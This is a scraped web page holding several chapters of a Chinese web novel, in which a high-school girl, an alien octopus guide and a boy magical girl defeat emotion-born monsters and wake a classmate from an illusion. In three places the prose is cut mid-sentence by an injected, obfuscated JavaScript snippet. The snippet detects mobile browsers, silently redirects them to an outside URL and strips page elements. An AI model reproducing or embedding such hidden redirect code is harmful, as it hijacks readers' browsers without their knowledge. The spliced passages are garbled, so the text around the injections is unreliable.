少女明显还想说些什么,但远处的刺猬终于在一次又一次的摆动中找回四肢的使用权,成功翻身。 它晕头转向地甩甩脑袋,发现期盼已久的果实不知何时已经落地,甚至隐隐透出一股料理失败后的焦糊味道,当即发出不满的尖叫,气势汹汹地迈开小短腿,向这边撞来。 “如果情况不对,你就把它丢出去吸引火力。”少女把章鱼往何橘手里一塞,匆忙上阵了。 何橘捧起章鱼。 它不光长得像果冻,摸起来也像是冰冰凉凉的果冻。捧在手里又轻又软,仿佛稍不留神就会从指缝间溜走似的。 不得不说二次元真是奇葩事物最好的伪装色,自从在顾书文那里跟着看了两集魔法少女动画片,何橘很难想象酷似全年龄向动画里走出的吉祥物会对她打出真实伤害。 它们加起来还没有顾书文一个人烦人呢。 章鱼清了清嗓子:“我的名字是……” “等等。” 何橘真诚发问:“我一定要等到情况不对再跑吗?不能现在就丢开你开始跑吗?” 她跑路的心真的很迫切。 “怪兽无法对感染失败的人类造成任何伤害,你放心吧。”果冻章鱼安抚道,顿了顿,又补上一句,“哪怕魔法少女缺胳膊少腿了,你都还能活蹦乱跳。” 何橘:“……”这吉祥物对搭档好恶毒。 “不过其他没能从感染里走出来的人类就危险了。”阿丘继续说。 “感染是什么?” “初始症状就像那两个仍在昏迷中的人类一样。”阿丘指了指闭着眼的高欣高颖,“你也在幻境里经历过了吧?何橘,我调查过你的资料,我比你想的知道更多。” 怪兽孵化后,第一步会反噬宿主,将寄生的人类带入自己编织的幻境,不断刺激他们获得情绪能量。 等到能量充足后,它们便会进一步扩大影响范围。然后一次又一次重复这个过程,直到所有拥有感情的生物都被它们支配。 在抵达地球之前,阿丘已经见过无数星球因为怪兽的出现遭受灭顶之灾。 喜悦的怪兽会让星球在狂欢中资源枯竭,哀伤的怪兽会让星球在泪水中自我毁灭。任何发展出社会观念的文明,对于怪兽来说都是最好的温床。 “我是来自9867号宇宙的引导者阿丘。遵从《Ⅲ型及Ⅲ型以下文明保护条例》,我正在你们称之为地球的行星上执行怪兽的回收任务。”阿丘正色道,“如果你现在离开,那么早晚青城市的所有人都会感染癔症,包括你的家人。” 何橘抹了把脸:“你需要我做什么?” 天空阴云密布,闪电在厚重的黑云间游走。八月的天气说变就变,风中夹杂着细碎的雨丝,只等一声惊雷落下,大雨便会倾泻而下。 何橘将高欣高颖拖到一旁的草地上,也顾不得淋雨了,感谢她常年帮家里干活锻炼出来的一身好力气。 阿丘说等它撤掉认知屏蔽后,无论是被怪兽破坏的墙壁,还是人类的潜意识,所有事物都会在星际先进科学技术的影响下恢复原样……除了何橘与魔法少女。 何橘很惊讶,不是因为超前的科技水平,而是魔法少女与她竟然被归为一类:“她不是外星人吗?” “他是地球人。因为保护条例存在,我不能对地球造成任何直接影响,需要一个本地土著协助我完成任务。” 阿丘搓搓自己的脑袋:“他有哪点像外星人?既没有圆润的脑壳,也没有伸缩自如的腕足,甚至连作为性格锚点的萌属性都没有!” “她比较像人。”何橘觉得魔法少女挺好的,她还关心她呢,“你像吃席时会和怪兽坐一桌的。” 来自外太空的章鱼公务员无能狂怒:“你凭什么这么污人清白?” 两条前腕足像荡秋千那样摇来摇去,整个身体像气球一样膨胀起来,它争辩道:“长得不像人就是怪兽了吗?这是种族歧视!……天生的事,能作数么?”接连便是难懂的话,什么“宇宙警察”,什么“诡计多端的地球人”之类,引得何橘频频侧目。 震惊!我市九年义务教育已向外星章鱼全面普及。 刺猬和魔法少女的对抗很难说是一种战斗,更像一场龟兔赛跑的兜圈大赛。如果这里是马戏团的售票表演,她很愿意花一点压岁钱请全家人一起看表演。毕竟这年头狮子捕猎已经成为动物世界的常客,但刺猬撵人还是相当少见。 没想帮忙的阿丘和不会帮忙的何橘吃瓜般看了一会儿。 “你看过海○王吗?”阿丘问。 “没有。”何橘回答。 “鬼○之刃呢?”阿丘又问。 “也没有。” “咒○回战总该听说过吧?一半一半那个。” “……什么一半一半?” 阿丘从何橘的沉默里读懂答案,恨铁不成钢道:“新的旧的你一个不看,网络新闻也不刷啊?你还是高中生吗?算了,附耳过来,我直接教你。” 它在何橘耳朵边嘀嘀咕咕一番。 何橘迟疑:“这真的有用吗?” “当然!而且我加入了一些喜闻乐见的本土化改良,效果更佳。” “好吧。你经验丰富,我听你的。”何橘摆好架势,“魔法少女!我有话想对你说!” 纪卓洲觉得大有问题。 虽然不知道阿丘和何橘都商量了什么,但他光靠氛围就已经感受到不妙。上次阿丘能在危机发生时掏出一堆少女漫给他,换位思考一下,这次它不会逼迫何橘扮演小白花女主角吧? 纪卓洲忧心忡忡,但不免又有几分好奇……何橘的表情变化实在是太少了,如果真能看见她笑一笑,哪怕是演出来的,也足够新奇了。 他谨慎地维持着与刺猬间的距离,停留在一个既能看清何橘表情,又能躲开刺猬冲撞的角落。 他在何橘脸上看见的是—— 坚毅。 纪卓洲:“……咦?” 马步下扎,气沉丹田,何橘对纪卓洲喊出第一句台词:“我本是一个在家族备受欺辱的稚子,仇人陷害,举目无亲,同胞打压!但我一直知道,少年自有凌云志,少年终登凌绝顶!” “三十年河东,三十年河西!莫欺少年穷!” 阿丘噼里啪啦鼓掌:“好!” “我要这天,再也遮不住我的眼!我要这地,再埋不住我的心!” 阿丘感动:“好!”太听话了这孩子,让说啥说啥。 纪卓洲在网上刷过不知多少短视频,他的心早已坚若磐石。这些最基本的龙傲天台词已经无法对他的心脏造成任何伤害。 他甚至有余裕对阿丘露出一个淡淡的笑容。 阿丘摇摇头。真不知道纪卓洲在高兴什么,反抗期吗?打不过怪兽第一个被揍的就是你。 它戳戳何橘,示意她往下说。 何橘深吸一口气:“但是!” 阿丘:“但是!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048745|194772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “从见到你的第一眼起,我心中的坚冰就融化了……” 阿丘:“大点声!” 后面的话对何橘也背得很艰难:“你那美丽的金色头发,仿若被太阳神亲吻。红色的眼睛,比天下至纯至热的火焰还要热烈。你婀娜的身子,充满异国风情,让我心驰神往,昼夜辗转难寐。” 龙傲天开始走感情线了。纪卓洲打了个哆嗦。 他的视线忍不住跟着何橘的描述在自己身上游走,先是掐了一把自己的头发,又绝望地捂住半只眼睛,到了“婀娜的身子”实在顶不住了,浑身上下痒得仿佛有蚂蚁在爬,恨不得把当初那个没确认委托合同就匆匆签名的自己抓出来打一顿。 自打成为魔法少女后,他没有一天是为此感到开心的。 但还没完。走感情线的龙傲天也是龙傲天,本职工作不能忘。 光念对白的阶段结束,剩下还要加上表演。何橘把阿丘交给她的道具藏进手心,望向在地面滚来滚去的刺猬。 “别怕。”阿丘说,“你不会有事的。” 我不会有事的。 何橘在心底重复。 “怪兽,看这边!”她对着刺猬挥手,凶巴巴地说,“你若敢伤她一分,我便扒光你的刺;你若损她一毫,我就剃光你的毛!” 追着魔法少女的刺猬竟然真的停下脚步,在纪卓洲慢了半拍的阻拦下开始向何橘奔来。离得越近,越能感受到刺猬小山一样庞大的身体带来的压迫感,地面的震感越来越强。 刺猬靠近后并不急于觅食,像个挑嘴的食客。如同黑色露水一样亮闪闪的眼睛盯着何橘看了一小会儿,然后张开血盆大口—— 做了一个呕吐的动作。 何橘:? 不会被伤害是这个意思吗? 刺猬身上带着清新的草木香,一股除草机割过的草皮的味道将何橘笼罩。也是这个时候,何橘发现刺猬的嘴巴里没有牙,只有像榕树一般垂落的气生根。 商场里的尘埃鼠群由千千万万的小鼠组成,刺猬也不例外。它的本体不是刺猬,而是身上的刺。每一根刺代表着一种烦恼,烦恼向下扎根,操纵着被青苔覆盖的身体行动。 正因为曾经被感染,何橘才能意识到它和刚才困住自己的苹果格外相像。如果说苹果的宿主是高欣…… 刺猬的目光越过何橘,看向一直被高欣抱住的男孩。 它在寻找的是高颖。 刺猬重新迈开步子,前足还没落下就悬停在半空,紧随其后的纪卓洲已经抓住它的尾巴:“别想过去!” 二者角力,还是刺猬略占上风。但只要这一会儿的空隙就可以了,何橘跑到魔法少女身前,准备按照计划的那样做一个单手拍墙壁咚。 可那附近都是刺。 “那就换个姿势。”阿丘指点她,对于迫害纪卓洲这件事,它向来充满耐心。 前两天在纪卓洲那里没听到的“很好,女人。你成功引起了我的注意。”它这次势必要听到! “可是……” “诶!都是女生,你怕什么!”阿丘撺掇何橘。 金发的魔法少女回头劝道:“何橘,别勉强自己。抄来的小说台词和夸我外表的话已经没用了,我不会再羞耻了。” 何橘迷茫地看着魔法少女的眼睛,那双眼睛确实如同她刚刚称赞过的那样美丽,无论怎么看,都属于一个与她年龄相仿的女生。 女生……吗? 自从她进入幻境后,她的视觉一直在被欺骗。高中生活是假的,电池爆炸的痕迹不会存留,章鱼是自己控制消失或显形的。 那魔法少女会是真的吗? “很好。”何橘说。 她凑近纪卓洲,脑袋依靠在他的肩膀上,上身贴住他的后背。她的手绕过纪卓洲的腰腹,避开尖刺,一路攀附上他的手背。 何橘给了纪卓洲一个拥抱。 她在他耳边轻声说:“交给你了。” 一个硬质圆环顺势塞进纪卓洲的手心。 那是一枚戒指。 阿丘在最开始交给何橘的、属于魔法少女的武器。 12. 以毒攻毒 戒指质地如玉,触感温润,整体呈清淡的白色。外圈雕着繁复精巧的纹样,凹槽内填充着墨蓝色的涂料,仿若海中翻涌的浪花凝成了泡沫。 刚一交到纪卓洲手里,戒指便开始发光。 纪卓洲将那束光握在掌心,犹如握住一颗天上掉落的晨星。墨蓝的花纹在白光中如沸水般翻涌,逐渐转化为琉璃质感的、剔透的绯红。 “集中精神,摒除杂念。”阿丘喊道,“在脑子里清晰想象出你需要的武器,戒指会响应你的意念!” 纪卓洲:“明白。” 何橘的拥抱一触即分,她后退几步,费力地重新睁开被强光刺痛的眼睛。 戒指的影子开始拉长,延伸,数不胜数的光之细线交织成一张纵横交错的光网。在纪卓洲的控制下,四角的铅坠如钢钉般凿入地下,将挣扎的刺猬死死锁在网中。 刺猬的眼睛像纯黑的露水,哀怨地从捕兽网孔向外张望。它浑身尖刺根根倒竖,却对那柔韧的光网毫无办法,只能愤愤地用那没有牙齿的嘴,徒劳地一点点啃抿着网线。 “成功了?”何橘惊讶地问,“这就……结束了?” 她几乎没做什么——不过是按阿丘的指挥,念了几句她爸进货时才会外放的土味小说,又配合比划了几个不明所以的动作。 “只是暂时困住它。”那位接受了何橘帮助的魔法少女答道,“接下来,还得清除它造成的感染。” “不过,你……”他顿了顿,声音低了下去,“你怎么能随便听信一只来历不明的章鱼的话……” 他的双手不安地绞在一起,说话时眼睛先是盯着地面的砖缝,随后飞快地瞥上何橘一眼再移开,仿佛何橘是什么洪水猛兽似的,必须鼓起勇气才能一口气说完下一句话。 “对陌生人做这么随便的事是不对的!” 同样是出格的行为,这会儿纪卓洲可没了方才训人时凶巴巴的气势。 既然他不凶,何橘就更不怕他了。何橘凑近他,伸手去掰他那两只快绞成麻花的手,想查看他徒手掰开苹果时手心留下的灼伤。 何橘轻声说:“我看看你的伤口?” “哦,好……其实没什么,早不疼了。”纪卓洲先是应下,随后发觉不对,身体却微微后仰,“你、你离太近了!我刚才说的话你到底听没听啊?” 纪卓洲那点微不足道的反抗,被何橘轻易镇压。她全不在意。第一次见面时打飞巨鼠,第二次见面时生拽刺猬,就算何橘有些力气,如果纪卓洲不愿意,何橘是无论如何都掰不动他的手指的。 事实就是,她掰开了。 魔法少女的手心干燥洁白,掌心的纹路清晰可见。何橘仔细端详,除了掌心因充血泛着健康的红润,竟看不出丝毫伤痕或烫疤。 ……咦?怎么感觉在她盯着看的几秒里,掌心的红色变得更深了?连温度也在升高? 纪卓洲默默抽回手。 “这是契约的一部分,成为魔法少女总是要给点好处的。”阿丘老气横秋地说,“好了,别管那么多,先来看看这边被感染的人类吧。” 阿丘指的是仍昏迷不醒的高欣和高颖。 被怪兽感染也有先后之分,高颖和高欣是最初的宿主,与怪兽之间的联系比较深。再以他们的记忆为蓝本,编织出困住何橘的幻境。如果何橘没有醒来,她的经历恐怕也会成为这幻境不断增殖、衍生的新养料。 “为什么上次的尘埃鼠群不需要解除宿主的感染?”何橘问。 “你知道怪兽的名字?”阿丘用腕足贴上何橘的脸,“你怎么会知道?” “喂,你别动手动脚的!”纪卓洲急忙伸手去扯阿丘。 章鱼的身体顿时像块橡皮糖似的被拉得老长,可被揪着脑袋的那部分,竟还有闲心闲聊:“要不要我也读读你的心?我知道,就算你外表再怎么、呃、漂亮?你的内心还是一个小……” 纪卓洲:“再废话,我就把你用我账号买的漫画全、都、退、掉。” 阿丘“咻”地收回腕足,干笑:“开、开玩笑嘛!哈哈哈……你这人真较真!我这么有职业操守的引导者,怎么可能随便泄露搭档隐私?” 不过这点时间已经足够阿丘读到何橘的脑信号:“你捡到封印怪兽的卡牌了?哦,那倒不奇怪。” “如你所见,我的人类搭档新手上路,有那么一丁点丢三落四,打完怪兽连卡牌都忘了捡。” 阿丘弯起一只腕足,顶端内凹,颇为人性化地比出一个“一点点”的姿势:“至于作为魔法少女的资质嘛,也稍微差了那么一丁点,到现在就只学会了身体强化和武器具现化。” 何橘:“哦……” 纪卓洲笑笑:“干脆视频网站的会员也一并停掉吧。” “诶呀!”阿丘两只腕足一拍,义愤填膺道,“没有教不好的魔法少女,只有不会教的引导者!回收卡牌这种小事,当然是我这个尽职的引导者事后去捡回来的啦!” 说着,它不知从哪儿掏出一个漆黑的小匣子,“咔哒”一声打开,里面正是何橘见过的那张“尘埃鼠群”卡牌。孤零零的一张,占据一整个类似扑克牌盒子那么厚的空间,显得格外凄凉。 何橘听着这一人一章鱼宛如小学生拌嘴般的对话,抬手摸了摸刚才被章鱼腕足碰过的脸颊。 纪卓洲看见她的动作,顿时有点慌:“觉得恶心?要、要不要洗把脸?不不,还是等会用酒精消毒比较好!先应急处理!”说着,竟真的要用自己的衣袖去擦何橘的脸。 “没什么吧。”何橘没什么危机感,闭上一只眼,任由纪卓洲擦,“而且我刚才也碰过你,应该没问题?”毕竟之前她还把魔法少女也当做外星人来着。 纪卓洲:“……” 阿丘:“哇,你和我在何橘心里一个等级。” 纪卓洲:“闭嘴。” “咳咳、总之!这是因为怪兽之间的个体差异造成的。”阿丘尴尬地将话题引回正轨,“被尘埃鼠群感染的人类数量很多,但症状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048746|194772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻微,可以靠人类自我恢复。而现在这只怪兽感染数量少,症状严重,只能由我们介入治疗。” 何橘尝试理解:“就像轴承一样?” “一台机器上由很多轴承组成。如果表面磨损,不影响正常使用;但如果它受压停摆,那整台机器都会无法使用?” 阿丘:? 纪卓洲:? 何橘问得认真,阿丘和纪卓洲在脑子里互相问对方听懂没。 纪卓洲:没听懂,我纯艺考生。 阿丘:没听懂,我纯外星人。 没人能听懂的比喻已经失去了比喻原本的意义,但何橘在她自己的认知逻辑里完成了严丝合缝的证明。话题兜兜转转绕了回来,事情还是落在何橘头上——作为高欣的同班同学和经历过幻境感染的人。 ……甚至可能是导致高欣走火入魔的元凶。 何橘在高欣身旁蹲下。 她没看过高欣留在高颖那的笔记本,自然对自己元凶身份一无所知。她拍拍高欣的脸,对方仍旧睡得一塌糊涂。 睡着的高欣面容平静,额前那缕轻薄的卷刘海柔顺地搭着,和她平时给人的温柔感觉倒是一致。 她穿着一条墨绿色的长裙,裙摆边绣着几朵白色雏菊。如果走起路来,这些白花大概会跟着裙摆轻颤,宛如被微风拂过。 可此刻,她只能无声无息地躺在沾满草屑和泥土的地上,什么也做不了。 该怎么叫醒她? 何橘想,换作是自己,哪怕再困再累,只要听见爸妈说“店以后归你管了”,保准一秒清醒。愿望成真,谁还乐意待在虚假的梦里?她必定要欢天喜地缠着爸妈再说一遍,在现实里给自己颁发一张店主委任书。 但她不知道高欣的愿望。像天赋和他人认可这种东西,对何橘来说太过抽象,根本无法换算成具体的目标。 她得找个更实在的刺激。 何橘想到志愿调查单上写下又被划掉的专业。 考上青大电气专业算是高欣的目标吗?可如果这真是她所愿,为什么实现后她反而更痛苦了? 揣测别人的心思,对何橘而言既累又麻烦。即便在怪兽的幻境里浸染过一遭,可一旦脱离,她依然无法真正共情。 算了。 何橘说:“高欣,你没考上青大,志愿滑档了。” 恐吓可比梦想成真的威力大多了。 空气凝固了三秒。 何橘想了想,再补一刀:“你确定要复读吗?高三是孩子成长中最重要的一年,想不到这样的一年你竟然可以体验两年……” 话音未落,那边正努力啃网的刺猬骤然发出一声凄凉的呜咽,两只小爪子痛苦地抱住脑袋,恨不得当场刨个坑把自己埋了。 高欣猛地睁开了眼睛,哪怕是睡梦中都萦绕她的端庄与娴雅瞬间烟消云散。 她一个激灵,竟直接鲤鱼打挺坐起,一把揪住了何橘的衣领,声音都变了调:“谁、谁没考上?!谁要复读?!” 13. 小小的奇迹 从高欣接触到怪兽的卵算起,已经过去很多天了。 怪兽找到在她空洞的内心深处,放大她的自卑,歪曲她获得的爱,一点点潜移默化地改变她的生活,然后终于在今天破壳而出,将高欣拖入可怕的过去。 幻境中已经发生过的事情一遍遍上演,如同将一个人的伤口一次又一次的剖开。 她的不甘与委屈在何橘的催化下倾泻而出,像一只弱小的刺猬竖起满身的尖刺保护自己。 “你在胡说八道些什么啊?你在看不起我吗!”高欣的指尖用力到泛白,声音颤抖。 “每个人都是,每个人都是这样!什么‘你已经足够努力’、‘像同龄人一样把假期用去玩吧’,其实就是放弃我了吧!觉得我做不到所以故意这样说,高高在上地可怜我!” 她原本在生气,在发出歇斯底里的咆哮。她这一生还从未发出过这么大的声音,话才说到一半就用光所有的力气,剩下的词句在断断续续的呜咽里破碎。 “我不要啊……!这种施舍,这种可怜,这些没有用的安慰……” 高欣痛苦地捂住眼睛,滚烫的泪水从指缝滴落,砸在何橘伸到一半,又不知该如何是好的手上。 酝酿许久的大雨终于落下,将天地间的一切染上暗淡的灰色。 困在网中的怪兽用哀伤的眼睛注视着高欣,它的力量随着高欣的泣不成声一点点消散,庞大的体型缩小为拳头大小,撑着身体,从光网的孔隙中逃了出去。 “何橘,和我们一起去追!”阿丘跳上纪卓洲的肩膀,“还有需要你帮忙的事。” 将沾着泪水的手背藏进自己的手心,何橘犹豫着:“我……” “快点啦,你放着她不管也可以。反正等我们封印怪兽后,她什么都不会记得。”阿丘随意说。 何橘的发绳在与高欣的推搡中脱落,头发湿漉漉地黏在脸颊边,裤子上沾了不少泥土。她坐在地上,手足无措、不知进退。 是她说错话了。何橘想,她总是这样,因为猜不到他人在想什么,所以干脆放弃,然后迎来更糟糕的结果。 “你别听它的。”纪卓洲将阿丘拧成一团麻绳。 他在口袋里翻了一会儿,终于找到为了志愿活动准备的手帕:“你拿着这个,她还哭就给她擦眼泪,随便和她说点别的。因为是何橘你说,我想高欣会愿意听的。” “怪兽那边我来处理……我也稍微习惯当魔法少女了,你不用担心。”他教完何橘怎么哄人,就匆忙去追怪兽了,也没忘记把添乱的章鱼带走。 何橘实在无法想象自己能把一个哭得歇斯底里的同龄人哄好。捏着手帕的那几秒,她一直在想魔法少女的自信从何而来,因为他说话的语气仿佛十分了解何橘似的。 但如果他真的了解,他就该知道这不可能。 所以何橘猜这可能也是魔法少女的能力,一种预言?言出法随的能力?又或者是手帕上施加了魔法? 何橘攥着手帕,像攥着一个小小的奇迹。 高欣断断续续地哭着。何橘认命地东擦擦西擦擦,像个在玉米地里掰玉米的笨熊,因为无论怎么擦,都毫无效果。高欣的泪水和雨水混在一起,何橘分不出来。 哦,对了,她还得说话。 “高欣,高欣。”何橘叫了两遍她的名字,班长不知是被何橘糊墙一样的擦眼泪技术整无语了,还是因为哭累了,放下手后很用力地别过脑袋。 何橘斟酌着开口:“我不是为了你才没去电气专业的,我想去的是别的专业。我也不知道你也要考电气系。毕竟我们在学校时关系一般……你看,我没有必要让给你的。” 如果是其他人听到这些话,恐怕要对何橘翻白眼了。 但在这里的是高欣,一位家教良好、礼貌端庄的女生。她正为自己刚才不顾形象的哭号感到羞耻,只是抢过何橘手里的帕子,重重地擤鼻涕,然后哼了一声,又把脸转了回去。 这也在魔法少女的计划之中吗?何橘不知道,她真是怕了高欣了,硬着头皮往下说:“所以你去了电气系,只是因为你的分数刚好足够。如果不是你自己努力考到合适的分数,就算我想让给你,录取通知也不会是你的。” 高欣转过脸看何橘。 何橘没发现,有些话一旦说出口,说完就变得很容易。 她懊恼地继续说:“因为志愿的事,我还和父母吵架。他们说我根本不懂他们的心思,让我去交朋友……就因为这事,我爸现在还生我气呢。” “那你去道歉。”高欣这会儿说话的语气,又和端庄时不一样了,带着点挑衅,“或者去交朋友。” 何橘惊讶地看着她,不忿道:“你说得轻松,交朋友可太难了!” “至少我没觉得有什么难。” 何橘愁眉苦脸地说不是这样的。 她们两个像幼儿园的小朋友围绕成绩和友情攀比了一小会儿,高欣的脾气在一推一拉中散了个干净。因为何橘罕见的苦瓜脸,高欣甚至有点想笑,轻快的感觉久违地回到她身体里。 “如果你愿意参加今天的同学聚会,或许有‘谁’会愿意和你做朋友。”高欣意有所指,“有了一个朋友,很快就会有第二个。” “可我已经有了一个朋友。”何橘小声说,“你的意思是……” 层层乌云之下,远处的楼宇间突然闪过一道刺目的白光。 高欣的视线模糊起来。 事物在扭曲、变形,认知在被篡改。脑海里仿佛有一双无形的手,将她进入医院后发生的一切记忆抹除。 等高欣再次睁开眼,发现她正坐在病床边。 弟弟用没受伤的手拉住高欣的手,一双亮闪闪的眼睛看着她,撒娇地说:“我错了,我再也不会自己偷偷玩滑板了。这些天我背了很多单词,学习也没落下,你可以随便考我!” 高欣原本想再教育他一下,但话到嘴边,拐了个弯。 “你可以多玩会儿的。”她揉了揉弟弟毛茸茸的脑袋,“小学二年级还不是人生的关键时刻。” 高颖呆愣片刻,很坚定地摇头:“不!我要读书,我要努力!我还要长高,不要摸我的头。” 看着弟弟故作成熟的样子,高欣一瞬间将他与自己重叠。父母劝她时也是这种心情吗?整个人像是被泡进汽水里,气泡带着糖霜与酸味咕噜噜上涌,让高欣情不自禁地笑起来。 就在这时,高颖打开高欣留在桌子上的练习册,抽出一张书签,没打石膏的手快乐地左右摇晃:“姐姐,这个送给你!” 高欣接过书签:“怎么突然想起送我这个?” “是考上大学的礼物!”高颖认真宣布。 “我跟着摔断腿的哥哥看了几集动画片。”高颖不好意思地说,“动画片里说,把书签藏在书里,再对它说很多话,书签就会具备让人快乐的力量。” “你这些天好像很忙,所以我一直没有机会把它给你。不过,我每天都在和它说话,还在上面画了课本里的小刺猬。” 他一边说着,一边示意高颖将书签翻面。空白的书签转动,另一面依然是一片空白。 “诶?”高颖奇怪地说,“小刺猬呢?等我一下,我再画一只给你!” 高欣帮他拔下笔帽,又在他的膝盖处垫上两本书,听见弟弟一边画一边问:“姐姐,何橘是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048747|194772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁啊?你的书里好多这个名字。” “还不算朋友的朋友。”高欣说,“可能……差点缘分吧。” “姐姐,你的语文成绩听起来不太好。”高颖说着,在刺猬的旁边的苹果堆里添了一个圆圆的橘子,“不过没关系,书签会实现你的愿望的。” 顾书文从一对无趣的姐弟身上收回视线。 唉,他对书呆子没有兴趣。 顾书文忧伤地看着窗户上斜斜的灰色水线,雾蒙蒙的天空将他整个人都罩上一层阴影。 说好要帮他理发的志愿者和送水果的店员小妹都因为下雨回家了,找不到可以打发时间的乐趣。 他都能想象接下来在医院里的生活会是多么饭来张口,衣来伸手。 唉,堕落啊!好想出去拍鸟啊! 乌鸫、灰喜鹊、珠颈斑鸠!世界上明明有那么多美丽又灵动的鸟,他却只能在医院里发愁发懒! 床头柜上的手机震动着,屏幕上是熟悉的名字。 “喂,韩萌?”顾书文接通电话,“我不想去,别念我了,我耳朵都起茧子了。重修的事情你都说了快八百遍,韩姐到底给了你多少……” “喵~” 话筒里传来一声轻轻的猫叫。 顾书文的声音停住了。 “喵~” 一些支离破碎的画面浮现在他的脑海中,不似凭空出现,而像是于潜意识中被重新打捞。 画面组成连贯的映像,映像唤醒感官的回忆。一缕垂下的铂金卷发,一双搀扶住他的手,地面在震颤,带他远离危险的人是—— 顾书文想起来了。 在下雨之前,他分明见过的。 ——仿佛从动画里走出来的魔法少女。 韩萌离开浴室,边擦头发边回到卧室时,看见猫咪在玩手机。 猫是路边捡来的,捡的时候没注意,带回家洗干净才发现毛色纯白,眼睛湛蓝。 它会讨食,会撒娇,会掉毛,三项技能都是猫中龙凤,一点儿也不怕人,一看就是曾经有过主人的。但韩萌在周围问了一圈,每个人都说没见过。 自从入住韩萌家后,韩萌每天的工作就是喂猫、撸猫、扫猫毛。每天看着这一团会惹祸的毛球精飞檐走壁,上房揭瓦,深切地痛并快乐着。 韩萌给它取名叫“考官”。因为自猫猫到来后,家里每一件新增的家具,都要经历猫猫的考核。合心意的留下,不合的就用来抓。 恶作剧被抓包,考官不慌不忙往书桌上一坐,毛绒绒的大尾巴一扫,诶,桌面清空啦。猫咪打扫桌面,猫咪好。 韩萌早已司空见惯,上次给顾书文点水果的店铺还是猫咪选的呢,猫这个聪明。她从地毯上捡起手机,一看竟然还是通话状态。 “顾书文?”韩萌的耳朵凑近听筒,“我没什么要紧事找你,刚才那是我家猫按到了电话。对了,等开学……” 说话时,考官优雅地伸了个懒腰,尾巴先是卷成一团,再慢慢舒展。耳朵贴在脑后,邀请似的,一点一点用鼻尖和嘴巴蹭开韩萌的手心。 这谁顶得住。韩萌的心思都飞了,专心致志地爽摸猫主子,直到电话里传来顾书文的惊世发言。 “什么?”韩萌怀疑自己听错了,“你是说,你不但要回去上课,还要在学校里创立一个、呃?魔法少女研究社?” “喵~” 考官又轻又软地叫了一声,圆润的猫瞳湿漉漉地看着韩萌,直白地勾引人类。 哦,算啦! 顾书文爱做什么做什么吧!韩萌把手机一扔,她要吸猫了。 现在、立刻、马上!一秒都不能等! 14. 不能摸 何橘站在809病房外,仰头看着天花板。 屋内的声音断断续续,她听了个大概。高欣没事,背单词的小孩也没事,原来他们是姐弟关系,也难怪高欣会出现在医院。看他们的样子,是真的不记得刚才发生过的事情。 那高欣说的朋友是什么意思呢? 何橘可能没有机会知道了。 她抖了抖身上半湿的衣服,头发乱糟糟地贴着脖颈,口袋里是医院的电池、理发器和魔法少女借给她的手帕。 结合上一次的经验看,何橘猜测在魔法少女完成怪兽的封印后,认知屏蔽领域会自动为受到影响的人类生成空缺的记忆,使用过的物品则以原本的样子再次出现。 真奇怪,这个领域是如何筛选作用人群的呢?何橘的记忆既没有被回调,也没有凭空多出一段新的。其他人好像下意识地就忽视了她身上的异常,也不在意她的去向。 一同被忽视的还有另一个不在此处的人。 何橘在离开前将借用的物品归还给给医院。外面的雨淅淅沥沥,一时半会儿不会停下,她换好平时放在电动车上的雨衣,踌躇片刻,又钻回医院大厅:“我能借把雨伞吗?” “一人一把。”管理员瞥了一眼何橘身上灰扑扑的雨衣,倒是没有多问,“押金三十,一周内归还。” 何橘把伞挂在车把上,跨上电动车,沿着白光最后闪烁的方向前进。驶过两三个转角,一人一车停在漆黑的巷口。 她取下雨伞,路边的泥水溅在透明的伞面上,汇聚后顺着伞骨下滑,摇摇欲坠的水珠滴落在人行路的石砖间。 巷子里的积水反射着微弱的亮光,一些堆积的杂物阻挡了视野。角度和距离刚好够何橘靠近而不被察觉。 * 【不够智慧的刺猬 发育程度:低 基质:蜡笔涂料、果核 构成:50%自命不凡/40%挫败/10%迷失 说明:众所周知,被苹果砸中的人是智慧的人,没被苹果砸中的人是平庸的人。刺猬也一样。 有一只不甘心的刺猬因为种种原因错失了命中注定的苹果,如今正陷入忧郁中无法自拔。 不过我恰好知道该怎么安慰它。被苹果选中的刺猬不多,被榴莲砸扁的刺猬有的是。】 记录着怪兽信息的卡片缓缓飘落。 “解决了。”阿丘轻松接住。 它哼着歌,快乐地弹走卡牌上的污水,封入漆黑的匣子里,夸奖道:“你越来越有魔法少女的风范了。” “听起来不像好事。”倚着墙壁休息的纪卓洲说。 他捂着腹部,那里在捉刺猬时遭到反击,自愈还需要一段时间。他只能保持魔法少女的状态等待,有一搭没一搭地和阿丘聊天。 幸好这里位置偏僻,下雨天也没多少人会来。 阿丘鬼鬼祟祟爬到他的腿上,和他对暗号:“你真想坦白吗?” 